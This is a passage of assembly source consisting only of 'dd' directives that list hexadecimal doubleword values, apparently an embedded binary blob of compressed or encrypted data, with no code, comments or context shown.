dd 0AFDCA001h, 4FE20247h, 24562880h, 0DA7E2FA6h, 9D018DF6h dd 0E1577614h, 38EC5070h, 0B9C10A24h, 4098782Ch, 0CFB38DB4h dd 0BCDD8400h, 4640E34Eh, 34877789h, 208EFEA7h, 82E953ACh dd 71AC4430h, 0F1D7EDEh, 64411056h, 0E02955C7h, 0D40FB85Ch dd 66340301h, 9EB040Ah, 0ABBCFCh, 942AE686h, 2E8E0FE4h dd 0AD50EF1Dh, 8BC62100h, 0FE37D510h, 2360B19h, 8800E94Ah dd 0C9BAC108h, 2D855100h, 8321B79Bh, 0E99700C5h, 7440891Ah dd 2403BDC0h, 0D35AAF60h, 0CA810094h, 9B04D545h, 5D3F396Ch dd 44B600B3h, 0C466EC08h, 0A3E51CD8h, 0A75E814Ch, 0C8E12DF9h dd 0B37BCC5Fh, 0EFAF6700h, 5E16A43Ch, 808A0022h, 29C752D3h dd 0F9F2597Ch, 1E153Fh, 7779A491h, 0BBD7D9h, 3EC8E67Ah dd 13689489h, 0BA93A000h, 4B149245h, 82FC11h, 3AD7CBC2h dd 21CCD82Ah, 25396090h, 0D4F0C144h, 9AEE00AEh, 272C909h dd 371417F7h, 82F0305Fh, 0A0D59252h, 0B2940EC4h, 0E5DC3E68h dd 45E051E8h, 50F07089h, 0D50066B6h, 0E1294FB7h, 0F8A960F2h dd 0EE2700FEh, 6E25D0E5h, 0B4FC8253h, 6DA1B00Fh, 0C43D00D1h dd 8E0770h, 8FABCDBh, 591C9A0Ah, 19F99B01h, 0AE3951E1h dd 28A8388Fh, 22BA9D80h, 0AB60B636h, 0F05EA998h, 5DD0093h dd 7B0E8678h, 0CC00C14Fh, 423AF914h, 0FCE587D7h, 44B1002Fh dd 418A2DDAh, 9D095170h, 80B52B5Ch, 0F412682Ch, 204700B8h dd 2DB6C83h, 6D00EE7Bh, 0D63C3AA2h, 0EC2C7350h, 0B00E78D2h dd 111500B6h, 0BD9A7EADh, 2B504B7Bh, 907FC9Ch, 96FADE29h dd 87275980h, 6E160083h, 6CB8EAE6h, 8F39C864h, 8722648h dd 0F75EE100h, 0C6653Ch, 5C12BFFAh, 8E42B1E8h, 0A45413B0h dd 6F142190h, 1289CB56h, 740216AAh, 83E09ADEh, 0A8A19DD0h dd 0F69610ACh, 8212023Ah, 35D1E97Ah, 0D06E1940h, 810121FCh dd 0B60B90Ch, 796014A1h, 9E8A0040h, 194DA72Ch, 8B24CF6Ch dd 0E4281C63h, 0F8429C00h, 0AA3F12C9h, 0CEA00003h, 91DC05Ah dd 0C400B039h, 4AFA77B2h, 4D4F10E5h, 630FEC8Eh, 0E480526Bh dd 0CBD6124Bh, 4849C078h, 0F50D0070h, 931F967Ch, 0C84F5054h dd 0C65F0769h, 0DC562861h, 0F1003110h, 26F690ACh, 0F4159Ch dd 6D453518h, 0FCEB7124h, 0AADBBC06h, 14E45C56h, 0B453FEDCh dd 80E8342Bh, 0B513A70Eh, 0FC00BCA4h, 5F4561F7h, 0DF89BDBFh dd 7426003Ah, 14B27D43h, 0F0A29728h, 5DAF0600h, 0B005E3F8h dd 0C493506Dh, 0F1260098h, 8B94852Fh, 90021D65h, 46B90D59h dd 0F8A0A0C1h, 30C8BB41h, 4C1BE25h, 6348A516h, 0ADCF86C8h dd 0C79D04F9h, 97DCC577h, 0C9C61408h, 5EEEDCE4h, 0A7321613h dd 102E1C01h, 88848F9Dh, 0BE91D0B8h, 5F5CFDC1h, 23A04Ch dd 0FF4DCAC5h, 0D5A19C2Dh, 0BD0F607h, 885D7714h, 2770A600h dd 0A5CBE2F9h, 41E500B4h, 0BB86504Fh, 347DEE1Fh, 0FA3ABCC0h dd 2C92BEFCh, 37C2611h, 41F456Bh, 0C86864EDh, 41C0BCD8h dd 45FB4850h, 6D1306D1h, 218CF90Fh, 0BE2E17F4h, 0C6002C36h dd 0D6341F7Dh, 319D2B8h, 10F39CECh, 0C58A4E88h, 3C4B4F00h dd 9B1382ABh, 4A280017h, 83F93145h, 0CE00E45Eh, 0F52D37C3h dd 2439073Ah, 4AD8F264h, 86802520h, 0C73A7362h, 1F38D800h dd 8DB0F34Ah, 0FCF40D06h, 0ECC949A3h, 3D141885h, 1ACCC9Ch dd 748DDE2Eh, 0E84088D3h dd 0AA3EDA4h, 6D05FB0Eh, 711C04FCh, 707441DDh, 11E8965Ch dd 16590AA7h, 20D46004h, 43E02582h, 220001F6h, 76F14AF4h dd 0D69500D9h, 8DAE33B6h, 0D001D507h, 151EA9B9h, 4C4D3D62h dd 0F4308031h, 1E460077h, 409F3AABh, 0B8007022h, 1FE0D351h dd 0E01112DCh, 0EFCB020Fh, 95E6C0DDh, 98F80663h, 6D3DF5AEh dd 24290051h, 3B41D280h, 5E97182h, 0D4620133h, 29B38057h dd 4483A9Dh, 82560018h, 0FDF35DA3h, 0DB5B0093h, 1FE41CA9h dd 8C004A84h, 1D865888h, 3BBFAA2h, 5ADBA11Ah, 17F3CDD6h dd 0D700217Eh, 0B794A522h, 707C4Eh, 0BA8DB8A7h, 60C9D503h dd 0F1667100h, 0B122DA7Ah, 0F08F7A24h, 4B907E7h, 8090D2BFh dd 161C8C3Fh, 0DE34F00h, 34841856h, 0B6118DCh, 0C2EB78F6h dd 0BBC31318h, 64B1966h, 0FA98E58Ch, 2E002026h, 38FC6C60h dd 2FA9D7h, 0E80F63Bh, 4D7C8925h, 0F5B63E00h, 168142C0h dd 4E22009Bh, 0AB721A20h, 0F713E592h, 0FEE1864h, 4BA040B8h dd 6BD64598h, 8B0A2B00h, 551E6402h, 894C075Fh, 806050ADh dd 6BBC8038h, 0BD025A16h, 1805C1Eh, 0C68B746Ah, 0A51E4CCh dd 411C7A53h, 0A8B10094h, 18A2E1D9h, 61B880E3h, 7AC76042h dd 0C0A01D3h, 3A49691Fh, 0A9E0589Ah, 0B28FF400h, 0B187A11Eh dd 4A5F002Eh, 8A7F7DB7h, 1602906Dh, 0F6A88417h, 36F0819Ch dd 2210E3FEh, 34013CE7h, 209FF27Ah, 0E1811074h, 4FA2D52h dd 7B7FF099h, 0D8CD3130h, 1737E455h, 0F03D54D4h, 0CC00986Dh dd 1C955024h, 0AD4544h, 550258F3h, 0C3C0A6A2h, 0DC53F22Ah dd 0A3C20800h, 12693927h, 23BF6B9h, 0A2037232h, 0A4986F35h dd 561D190Ah, 90F03C8Dh, 6A6CB1h, 34B8E1F3h, 51EAECC0h dd 34AE56Bh, 12531BB6h, 2C9A38E0h, 5003070h, 4E6AB926h dd 4BC32Ch, 0BEA7B891h, 0A62351F7h, 6218C900h, 37BF260Dh dd 5073006Dh, 4B1AE4C3h, 5F0B01B0h, 0AF4146h, 95F508DAh dd 194E016Dh, 0F950371Eh, 0B5A440ECh, 6000E17Ah, 80799C25h dd 3D94C381h, 8400A136h, 894D97AEh, 4000659h, 0CB734D2h dd 0E330BEh, 0BB0758B0h, 8AE6AE14h, 95CBC1C0h, 3BFA50D3h dd 76807A92h, 685F66Fh, 0F2986954h, 20106C13h, 118D0807h dd 74AB00CBh, 37C6E91h, 18574409h, 0FE811445h, 107C2424h dd 0EF92BC0Eh, 411E921Bh, 52E66B07h, 6890FE34h, 0E4924CEBh dd 0CE6609ECh, 2C00B345h, 51C59376h, 35E85D0Fh, 9DC78091h dd 87855Bh, 532C884Ah, 3B4316AFh, 0AA9A3D07h, 68A0BFF5h dd 0F074ADA7h, 1C2A136Fh, 7633009Bh, 0A98E9259h, 5C015377h dd 54DF3A6h, 0ACD434A0h, 0C7F000B4h, 2199323Ah, 5E063C80h dd 67E66257h, 34953D38h, 0FBD2DC0Bh, 0D8466201h, 1DEAD0DEh dd 73CDBE0Eh, 0F20BA00Dh, 347051Ah, 55DD75DBh, 0A2A04087h dd 0E900F0D9h, 57F6CA35h, 7547491h, 0DFEB0AB9h, 539C706Fh dd 0E00119ECh, 0A1DB60EEh, 0AF00C4Ah, 3260022h, 30643F40h dd 0A9005CBBh, 0F28EFE33h, 7EAE32h, 0BA9775CDh, 9C215A70h dd 649A1A00h, 4B753D0h, 0CAA61EC1h, 56F03B9h, 8BE07B3Ah dd 80007522h, 95DA1678h, 7826A2D9h, 0B8401D71h, 4D584EB2h dd 90F56243h, 77925FD8h, 530B5C0Eh, 55BF83CAh, 0C7DF982Bh dd 0D7C82C9Bh, 729C032Dh, 65B879F4h, 2C01314Dh, 0A090711Bh dd 0EDEC1873h, 0D1F624h, 617D0459h, 0A5FBFC9h, 84163800h dd 9AF9C380h, 758E00E2h, 0EC88A587h, 0FB38E033h, 0C269807Ch dd 3E58A34Dh, 642E2C6h, 330AE6E2h, 16605856h, 6B57E319h dd 0F72201C7h, 79679D2Bh, 0EF44F486h, 0DFD228C7h, 0BE30E00h dd 0E5BB00ABh, 7C1A9E8Eh, 0E400B880h, 44B310ACh, 5EFE9F1h dd 3E980812h, 8636C094h, 0A305B139h, 54FD8576h, 615E8380h dd 496B0088h, 0D0D8126Ch, 0AD076EEDh, 0E61CC96Ah, 0BBA976C3h dd 0CE2DC810h, 4A7E011Eh, 888A638h, 7A96CC6Fh, 0FAF3A001h dd 0D1E8C25Eh, 1DCEB170h, 833EACh, 45D39416h, 9300A7FFh dd 28D1D697h, 0E6206D7h, 0DB7ED30h, 4CAECBA0h, 0E8EAF518h dd 14002398h, 0C3607CFFh, 9762355h, 5BA298B2h, 8035D5E1h dd 71E6E852h, 0FECF64F5h, 3FDC0143h, 0DEC3A10Bh, 0BE0730AEh dd 6E770800h, 679F708Bh, 0E17FF2h, 0ED6197FEh, 9BFAA02Ah dd 4E00DB79h, 0AFF705B0h, 12680Fh, 360B593Dh, 9080A5E9h dd 0F45A2C00h, 0F09A77C6h, 53540009h, 0D949CE8Fh, 97A076DFh dd 0E939402Ah, 21E0012h, 0CDF15D9Fh, 69820034h, 0C3B03DA7h dd 0F5E4560Fh, 7A2E6200h, 0D5A02FFFh, 0F3BF00AFh, 0DD6393ABh dd 9C003618h, 0CA3BD8Dh, 0E76240Fh, 0F8F4CF5Eh, 725BA400h dd 0A600502Fh, 0C30BEDCDh, 19FC227h, 0B66AFD8Dh, 0BC561532h dd 57ED01A1h, 868BDC64h, 0F709EEh, 3770F123h, 0C2E30241h dd 79D7745h, 507DAB80h, 0AE03B45Eh, 0EC183C0Bh, 9BD1D88Dh dd 11C91E63h, 0A096039Ah, 30E7CC39h, 82577945h, 9C9A54Ch dd 0F49528F7h, 76D200D4h, 0B0876D55h, 0A88D95A0h, 6BB8F700h dd 0D58E5ADAh, 135E0E08h, 41ACE433h, 5F0092B0h, 2F259051h dd 4C2762E7h, 4600EABAh, 0B38B6D04h, 0EF00B587h, 0DFF889Eh dd 0A63D02D5h, 745E07DCh, 231B7F13h, 4D81C91h, 66003002h dd 0A64CCA8h, 0B518A3h, 710CA1CDh, 4A5E5B81h, 0EB2C0209h dd 0B8807FB1h, 0C3BDAECCh, 0B4780E00h, 0FB7DC19Bh, 1A703CF9h dd 86F3DF80h, 38CC6B1h, 50C002E8h, 8A8F2746h, 7DD20070h dd 0D4D3CB6Dh, 0CA006529h, 8CF8EF4Dh, 14B061FEh, 0AC1F36E4h dd 16F5F0C0h, 0CE7190CBh, 0A0A11C7Ch, 0E1BCF083h, 3A57F403h dd 0B01F7561h, 0AE525Bh, 21CF7024h, 0A699D096h, 0C4865F0h dd 2ED700B8h, 4BB98B8Dh, 18E439A8h, 767BCF80h, 959C75A3h dd 0B777DC00h, 0DF8CFBF1h, 0FCA60035h, 0E46BB947h, 0EEF062CFh dd 0E42EB00h, 0A4D38DF1h, 0AFD4075Eh, 806DF92Bh, 60CE822Dh dd 22C9B000h, 0D7FA4866h, 6CA409FFh, 0D007761Dh, 60EA2038h dd 2200E7BFh, 74FBBEB5h, 945D5DCh, 71DEA964h, 0F3B75801h dd 2CD240EAh, 0FA24756Ah, 68008C79h, 58BC7F97h, 0D8356024h dd 0B77510FCh, 0DF3D009Ah, 1DA400EEh, 0ACECB22Bh, 0F0930004h dd 222831B7h, 28C00F6Ah, 0E02C6EBh, 782A7F84h, 18360094h dd 3E42802Bh, 0BF305B31h, 0FBC8F877h, 0FDBB09Dh, 5BA2068h dd 2BCB023Dh, 50601706h, 0B43C7633h, 9309809Eh, 0A16A53B8h dd 22EE0144h, 0DEF4762h, 944BC1h, 0A44AC5A3h, 283A31E5h dd 39E22B81h, 0F7338426h, 19E009BEh, 20F90690h, 4E02EFD0h dd 0B00E6B60h, 0C36068A7h, 315500E6h, 69D00DDCh, 50742B4h dd 950419E3h, 0AC621E50h, 63C2DE1h, 4ADD2460h, 187CD803h dd 0D3EE254Bh, 0BD7A99F0h, 7080F03Bh, 0C6D69E00h, 464F9123h dd 0C850EAEh, 0BB005CECh, 8E90D1DDh, 96FACD1Fh, 947AC340h dd 0A28025h, 604D1EEDh, 75F774E2h, 84F85Ch, 0C9218BA1h dd 0FC8DCCh, 2FB90853h, 0C47601D3h, 99E3405h, 24200BDEh dd 979B4Dh, 0C7050EE2h, 0B56CAD81h, 98FBE100h, 8EA45A08h dd 47A601BDh, 551C0D75h, 0E3398181h, 37B927DDh, 9AFCD88Bh dd 0C33DCF81h, 0CC4189ABh, 0D4E00D0h, 0F8D278B8h, 0ADCA0356h dd 4A418A7h, 0FEFD508Fh, 0D5F4D833h, 0E0F58700h, 0CEB62ACDh dd 0C45B01F1h, 0E22899A3h, 44A8F479h, 65C17600h, 17509227h dd 373F00B9h, 47F6CCA7h, 1203FBB8h, 0F7A26D03h, 0C2FE00B0h dd 43CA6976h, 0F1013B72h dd 0D633A660h, 1BDCEEF2h, 0FEF51EE3h, 0C3725DC3h, 5E598FFAh dd 0A0D9EBD0h, 38EE8400h, 4954A9F0h, 39B000BFh, 95A7B3B5h dd 0C300094Fh, 2F7544B2h, 7B5B1B4Bh, 0B43D0FAAh, 98094EFh dd 83DBA55Ah, 78BD5E1Ch, 5482EA80h, 7643F8h, 3330082Ch dd 6007B747h, 0EE9A8901h, 3E01C9BBh, 0EF2E9D4h, 20CE723Bh dd 0BCFBC4C0h, 673AE6FDh, 9200F317h, 0DE4B5457h, 90631A52h dd 1B78C000h, 4E3A3FD6h, 0DB03407Ch, 55C94A8Ah, 0DD2D9852h dd 6102012Bh, 87B05BF0h, 8AEBF4FBh, 1F283400h, 5809FC72h dd 206B0E7Ah, 3B003575h, 4EB0BDDEh, 0C02D5F00h, 54D505D4h dd 0C8B09E4h, 1010D113h, 0BB1EE193h, 0FC8291DEh, 809CFE55h dd 5C232B4Ch, 14100F17h, 0C200E27Ch, 3835A986h, 0C8F11800h dd 0AB17AA6Eh, 43FE3Eh, 0D091DBBDh, 3830F22Ch, 36B9631Dh dd 73B08F43h, 44C1D25Bh, 28FC0164h, 0C07C96A3h, 0C2D02005h dd 0AFE7AB00h, 0FC893F9Dh, 0E35F1D9Bh, 293B405Ch, 4BF334F2h dd 80F11301h, 0F6CE79Ch, 0A45058B0h, 53018F97h, 0F18DBF05h dd 56E401DBh, 9A80A04Fh, 0D1C7242Fh, 48583084h, 3CF23818h dd 2500B090h, 0A99A8E3Dh, 0EC5E65C5h, 6A1837F1h, 192D17CEh dd 211F8400h, 9B020E2Eh, 795922EDh, 0AD7AC04Ah, 0D2670ED8h dd 0EC037B5h, 48E53106h, 35BC5050h, 3A324400h, 0CB6CC2AAh dd 0F439488Ch, 1D1E27C1h, 3721048h, 2A670226h, 5B6B02BEh dd 58EE9F60h, 8D20E504h, 71C09C74h, 0DFB85Ah, 0EA6A76D5h dd 8167D368h, 65BBCE03h, 0E08ED86Eh, 94E7C10h, 35FADE8Ah dd 5C331800h, 3700B096h, 4514EF01h, 4FA688h, 320CE13Eh dd 8190CF1Ah, 0AC86EA06h, 206AF4h, 0F09C3FD5h, 0B7E6632Dh dd 3BA17E07h, 288DDAEh, 6118276Ch, 0E4FD9FC0h, 39B830Ch dd 0FEFB5025h, 0F49096h, 8733A243h, 817B6255h, 140C6D00h dd 0ADE39523h, 0EFC70051h, 0BEE57E98h, 24003884h, 784EFE8Bh dd 451A3Dh, 2BE1499Dh, 892867E3h, 0C49A2201h, 464C382Dh dd 3B120h, 71BD3491h, 8FDC8280h, 0FB366900h, 0B25A7361h dd 2D3B001Ah, 0D9B415D6h, 0A000F95Eh, 0FCE00CBDh, 1DB13E77h dd 410ADB46h, 0D2B4EF54h, 0F7572043h, 4E23D31Fh, 0BD145240h dd 6527FBh, 9CE23FB3h, 0DE26902Ah, 0CF87F200h, 0CE147ADCh dd 39CC0A93h, 202F85h, 0F43FE263h, 20037555h, 0C8A261F8h dd 16E4F022h, 2D260188h, 6A21ED04h, 0D698F320h, 141C366Eh dd 5580ADF5h, 2818B764h, 4B50C0F3h, 2F0AF719h, 0DEC3DD00h dd 981A388Fh, 5B801C3Dh, 0D9EA8099h, 0E6344B1Bh, 5FBD7B0Fh dd 0FDEF43E5h, 0D03FC83Ah, 11E26116h, 0E441552Ah, 0A200382Fh dd 1CBFB7D8h, 1DE01EEh, 35CDE992h, 0E402452Eh, 0F9C3ED13h dd 0A8E74AB3h, 0E66B84h, 2069B70Fh, 9CD48199h, 0A3A2EF00h dd 6B5CE5F2h, 0A97900DAh, 28376805h, 0A50A9E54h, 90848B65h dd 98F89780h, 82A69Fh, 0DC2F143h, 0B9BA4F3Bh, 3223DE09h dd 0AABC00EDh, 3A2B27ADh, 0B400851Fh, 3BEE458Ah, 0D80E95F0h dd 60227442h, 0D5992EBDh, 0D259005Ah, 24348841h, 3F289031h dd 65077440h, 796ADB9Dh, 0EC00AF35h, 0E9968962h, 368A4C2h dd 0B698D549h, 779083CCh, 0DE0BB89Fh, 108245h, 8B4B32DBh dd 79B63C66h, 8084069Ch, 0E50C4FA5h, 0C102FBC2h, 1903A744h dd 65BC8182h, 8CF8BF63h, 0EA510FCCh, 2B454CCFh, 6D43452h dd 99296A86h, 0B9F6EB00h, 3DD10EBEh, 0D4D50126h, 3FE7A61Fh dd 0FCC85811h, 4247D603h, 0A0DE7A1Dh, 0ACFF91Eh, 87C72559h dd 0AC1200D4h, 9F07B15Eh, 74491300h, 814BA604h, 7C745Ch dd 98D3592h, 0AECFBCA7h, 299B4705h, 0D868A2D7h, 0D5778Fh dd 0E0B1A08Eh, 2A684BB3h, 1E0F8000h, 83E9E2C3h, 70F40F66h dd 8D6C2F05h, 0D40B67C8h, 882AB8BDh, 3422CCD1h, 0A1309D00h dd 0AC21B71Dh, 20711747h, 6BB90B90h, 0ED2FAA83h, 0E1F8903h dd 9052C5A4h, 2262C1h, 469F5869h, 0FBD58AC8h, 0D9066800h dd 0C0959021h, 2CA9012Eh, 25A76ABDh, 0AF7C20FDh, 740E28F6h dd 0C92095F3h, 0C4AC0AF5h, 6231C300h, 308EE730h, 84E98186h dd 0FD1F181Dh, 3CAE2E39h, 0A596A707h, 12CD85Ch, 5DB2FB86h dd 0E8846CA1h, 0E4071728h, 36A69449h, 0C880EBB7h, 28C0E5BCh dd 42CD93Dh, 9F52A3A0h, 75C88082h, 5030B0F4h, 0E485E8FEh dd 260F1F29h, 64646Eh, 52F47B02h, 0A1000DC1h, 23819D77h dd 0CEAD8BFEh, 90B87378h, 19D19550h, 359700C4h, 0EED8F3F5h dd 0DAA907ECh, 0F9BD152Eh, 50F4400h, 897A4A64h, 0A5F5AC00h dd 5EA6A192h, 8D8C0028h, 0DE4291CCh, 391F416Eh, 946EF52Ch dd 70B17F8Dh, 9809C2ECh, 0E9A00178h, 0AAA22E5Ah, 346420A3h dd 2CF60700h, 2D03D2C3h, 13F47433h, 40CE4DB5h, 84C7DB08h dd 0F7424B90h, 25238F00h, 7439DAABh, 6C005890h, 940A607Ah dd 780CDF77h, 0C88700DEh, 8851E23h, 80F3436Ch, 56EAFE38h dd 78642EDBh, 140200DFh, 9CF7A21Fh, 0B498B34Bh, 0A51A81FFh dd 647D5D37h, 501349C8h, 0ECCBCCEEh, 0BB3C012Dh, 29D69C4Bh dd 87FAC804h, 0C7B5A500h, 0C880928Dh, 0B3393C9Eh, 56DE9D0Fh dd 362A5DE0h, 0CB005542h, 0A60F2568h, 5EB85B2h, 0C22DF3Fh dd 0E4A4283Ch, 0A452EA09h, 7488043Dh, 220A008Bh, 3E90C13Bh dd 0E87F7780h, 8B463C80h, 0E42032FCh, 1C8C07h, 1FA5994Fh dd 4EB1A2A0h, 6A83F603h, 0B20BC61Ch, 8CC84842h, 8B010966h dd 8006F248h, 0C8A19946h, 0A63064DCh, 483F1301h, 508AFDD7h dd 0D32EC8h, 71EB7627h, 41A32F8Ch, 7E0D2B07h, 160547CCh dd 4247880h, 0F5F003CEh, 0E3BFC3BEh, 673CE94Dh, 6FB0DA68h dd 73162DADh, 0C0AC040Eh, 0C0F91C4Bh, 0F021F558h, 4EAF040Ch dd 0E3D8FFh, 0BC673D3Ah, 0A41E692Dh, 718FD60h, 4D398F06h dd 2602E8BBh, 1BC1AB9Ch, 0EB0EAA60h, 6E01AA13h, 0E75DAC40h dd 0C12BB667h, 4DB3FC88h, 0A99C243Fh, 4C4E9824h, 0EA73D800h dd 36803C0h, 9DB62BC8h, 0AAC84982h, 0AD0739C5h, 0B7D579EEh dd 6CD9FDA1h, 48677AF0h, 362C0C8Bh, 9B6B8928h, 84923300h dd 0F300346Ch, 26955A2Ah, 0D47541h, 8D550670h, 728ED24Bh dd 433A2D00h, 0FC8591CAh, 0BC1B00C0h, 0D02D10Fh, 0AD799C11h dd 4F8BBE00h, 1C8C9436h, 0C5DD03FAh, 0C96C8599h, 27583BA8h dd 0BA95C309h, 89788470h, 67FCB4C0h, 5B551DF2h, 7B5700BDh dd 0D09EFE26h, 0D0FA9339h, 8B09B8A4h, 143B9218h, 28C10028h dd 7625AA5Dh, 4807C618h, 5AF0D924h, 1273EBC0h, 0CDFEEFh dd 7BDE470Ch, 0C3F18C4Dh, 10870F00h, 351E9126h, 6AC0B763h dd 1800787Ah, 72DD5631h, 5CF748D5h, 33046830h, 0C05B507Fh dd 0C5C1C86Ch, 4EBEDF1Eh, 29897682h, 9A4E674h, 0B6DE3824h dd 394BD000h, 0DC05CCFDh, 0CA8F8E71h, 80AF5092h, 722ABDA4h dd 8C24DF4h, 0B6B13600h, 0E06BFEE1h, 0F0051A79h, 0D2163915h dd 835A6CC2h, 0C01CA8FDh, 0B0BA0F3Bh, 0B0EC139Ch, 9AA8402Fh dd 0A1377926h, 2054B900h, 8F96D987h, 14329D1h, 8C0792DCh dd 2200E020h, 41757CB6h, 0B44A80h, 0A2A23FAh, 0C0C5D248h dd 0FCAA442Eh, 86D4FE00h, 285085Fh, 75B01D82h, 0C0C1C0C4h dd 92B5F8E8h, 0BA5Ch, 4B0C1B8Dh, 91FDDF24h, 22C82C9Ch dd 900C9880h, 20CBAF4h, 0A38D9264h, 0E4E67165h, 0F8E1B8A6h dd 2B03AD07h, 9B46DF47h, 5F2091B8h, 16381C20h, 0DB3ADCh dd 0AF61E9CEh, 8200E8B3h dd 846FE2A0h, 18384E72h, 27C2F95h, 0D9091C12h, 8A4B36h dd 80AC24B0h, 0FCB1B7h, 9AA5F46Ah, 0D3025E95h, 359DB54h dd 0B59880A4h, 0F339308h, 837DBC5Ch, 44769FE0h, 6006EA6h dd 0AC8D234Dh, 16DFD165h, 202A30ECh, 0EDF4858Ch, 0A390EF50h dd 2FE39B00h, 0C40A3543h, 8F6F0632h, 69E12277h, 317FF200h dd 96BD5AD3h, 299401C0h, 0B845EEABh, 0C0C8326Bh, 691701F7h dd 2630B872h, 40E0BF47h, 19EDA60Ch, 1558AE67h, 6B3BDC51h dd 71DCABD5h, 30F54B68h, 0DD1A4E10h, 0FF30561Eh, 9901359Eh dd 2DBDFBBCh, 0C59CA062h, 60F56967h, 0D82949E8h, 8D0A4209h dd 250C1C77h, 14A30576h, 4400A0A6h, 561C8A99h, 131653A1h dd 400C0542h, 818F49BCh, 804DB3C7h, 0CD151F60h, 683C70B2h dd 4D1CC100h, 80DD105Bh, 82F2DE54h, 5A05774Fh, 2E56C3ADh dd 3B1D1C70h, 220E0045h, 0E7F330DCh, 550C2914h, 184D238Eh dd 0BAB00271h, 0B77853ABh, 0BC720BC0h, 15AAF00h, 8084A7BDh dd 59481842h, 0C731E8ECh, 7C047600h, 40D79733h, 0DBD400C6h dd 6D359452h, 545CD2E2h, 0B822E0ACh, 2566FE65h, 0D0B07430h dd 8100107Eh, 0FE54F02Eh, 53D94F7h, 0A090BF07h, 44FC0076h dd 0C7D1DDB5h, 36BDE304h, 0B4C0E7D8h, 46EFBE5h, 1B205A56h dd 0D37C90F2h, 6D0368ACh, 0BC1F104Dh, 7665E8E9h, 1DF3012Ch dd 0C50A1E59h, 0B39BE8A6h, 14108549h, 70AFFB6Fh, 0BC3FAF73h dd 3670AE91h, 802BB409h, 0A9A61590h, 0E20D0448h, 0C18A906Eh dd 9741543Bh, 30423988h, 0CE4FBEh, 0F22C9A40h, 0F058F0B0h dd 0E43E0024h, 81C89BBEh, 2AFEEAh, 64C1A58Ch, 42E3ED34h dd 0A100E89Ah, 8FEEC91Ch, 4CE8FD74h, 0E900ACC4h, 397E5806h dd 100361Fh, 0E098BE44h, 489EB0DCh, 1EA020E7h, 5C901A3Fh dd 5F914504h, 38958FD7h, 975760C1h, 0A760E300h, 3A31513h dd 7898388Dh, 31C72619h, 14B23316h, 0C48AEC61h, 808008C6h dd 535FF1A2h, 5600643Fh, 0BF57A6Eh, 605BFAFEh, 71F1E0C6h dd 10373AD2h, 0A761433h, 5529020h, 37E7489Fh, 3816C047h dd 790ECF6Bh, 43176CDBh, 0E8152831h, 198DE5h, 0D88202A0h dd 40C9724Dh, 7E22C00h, 0B5D2C31Fh, 1E550080h, 2787F15Ch dd 9005F94h, 2D8CEB2Ah, 24320742h, 38C37Fh, 75AF0FF7h dd 4300A8ABh, 39644C68h, 871B78h, 0E00B7CB8h, 0B3D1BF6Dh dd 4DF20600h, 868E599Fh, 3B2000D2h, 0FCB0838Dh, 84038F3Fh dd 87FFD65Eh, 298C8098h, 0CE361C7Ah, 66A70DCBh, 0C938C459h dd 0FDA26000h, 7A2546B9h, 947F300Dh, 4AE62BB8h, 0D3541400h dd 8DAF36BBh, 13AD0CC3h, 0DED4EB4Ch, 2F1F6F00h, 25349D26h dd 5DCF180Fh, 990B03Eh, 0D1007FF8h, 0FD99029Ah, 11E36F8h dd 7EEA5DF5h, 48B3A761h, 4D686A98h, 0EE409048h, 0C3BA530h dd 0D753CD38h, 54ECF1E1h, 60850F30h, 0FC872110h, 23223067h dd 0A7206620h, 385ADF00h, 0AC2B4C91h, 0B874D2h, 0EBA304C9h dd 0F6CC477Ch, 0E3D98300h, 0CF35ABC2h, 56872AB7h, 33E00098h dd 2FEF9495h, 8C14A6EAh, 0A0EED0h, 4DE8E12Ch, 594E7Eh dd 0E6ACA9Ah, 2DF65BC6h, 41E4A500h, 178B8188h, 0C2B63049h dd 2B3D5450h, 0FEBCF550h, 99C08671h, 4F83CF6Ah, 72F0C056h dd 21D63087h, 0CED54A01h, 611AA371h, 6AA0C447h, 592C13h dd 33A0A5B9h, 0B4113F49h, 4D282702h, 445D0A93h, 0D3A9C04Ch dd 24995391h, 826AF03h, 0B85F424Ah, 19C8CFC9h, 10EA1DE8h dd 0A8D4506Eh, 74011C88h, 0B8DAB384h, 1EF1DC7h, 4FB97A81h dd 40D7A636h, 63505C50h, 0F461CC00h, 0BA480817h, 4CCCA80Dh dd 4BED1474h, 0A10C80C1h, 420C20FEh, 0BB00A67Fh, 0DD50E96h dd 0AF07DC3h, 84D9CF63h, 0C1391FD4h, 0FA7A9EADh, 7D8C405Dh dd 0C9282349h, 7209F02Eh, 110C5D4h, 6BDE9583h, 52D7A080h dd 732D3322h, 98241371h, 803DACA0h, 57DF159Eh, 672FC7h dd 0A1FDFC4Ch, 0DC0465C1h, 0C23A017Dh, 6F9783C0h, 88383713h dd 0D9779Ch, 29A1F506h, 71B36EECh, 70162600h, 5DFD3F1Bh dd 9F54B7FCh, 1378030h, 0A4780214h, 0DB92F413h, 0C9572890h dd 5D31A700h, 3C0BEDBFh, 9ED6008Dh, 2B90C0EEh, 3E24E14Fh dd 56006ECEh, 8C5EAFD7h, 4DB61966h, 5A8F7964h, 80CC3B78h dd 4E15EBF9h, 1BEAACh, 60A1D5C5h, 0CC722B82h, 140ED67Ch dd 0E10A28C6h, 70F43FB8h, 0FA623C0h, 0A2052F45h, 0D6E0FDCFh dd 0E66771ADh, 33081900h, 0CFA18BEBh, 0C7151756h, 2E00AB6Dh dd 44F51360h, 628C13D3h, 0A1C400D2h, 0C6B9E25Dh, 27815801h dd 0BB70B303h, 1EAE7C20h, 896C80B4h, 1C1076DAh, 0AF003EC2h dd 0E52A0A9Ch, 0ED12EB90h, 0BDAA9040h, 78FF1D7Ah, 84D80056h dd 0E137727Eh, 6AF36C00h, 3E7B63EEh, 6EEF037Ch, 0B4663668h dd 60C891B1h, 0BA0F212Bh, 62CF96ACh, 4181F06Ah, 49A9DBCCh dd 35925Ch, 0C64A3A98h, 0DE54B6ABh, 710AD1D0h, 0B88A9E4Eh dd 5C76E200h, 8364BDh, 87BE74E1h, 630297DFh, 7840D0AAh dd 400F9E8Bh, 9E517FDAh, 0A97B4F40h, 127CCBF6h, 5E05A6h dd 1C144868h, 7D09FE42h, 2259C282h, 213C4770h, 0FE387BA4h dd 7D44D487h, 348CC8C9h, 56D37700h, 0A89584D2h, 0C2CD405Eh dd 11FE9D02h, 412F6E8Eh, 18DC3594h, 0D785027Ah, 4E962EFAh dd 5AA4AF40h, 75706BF4h, 98A0EEEEh, 1800ACCBh, 1560DFF4h dd 2B876EFh, 0B18250C4h, 44C8B291h, 18025C3Dh, 0B8A91DCCh dd 5D044FDh, 3F577253h, 7CD41451h, 4A6AE181h, 0BC16D02Fh dd 44C87400h, 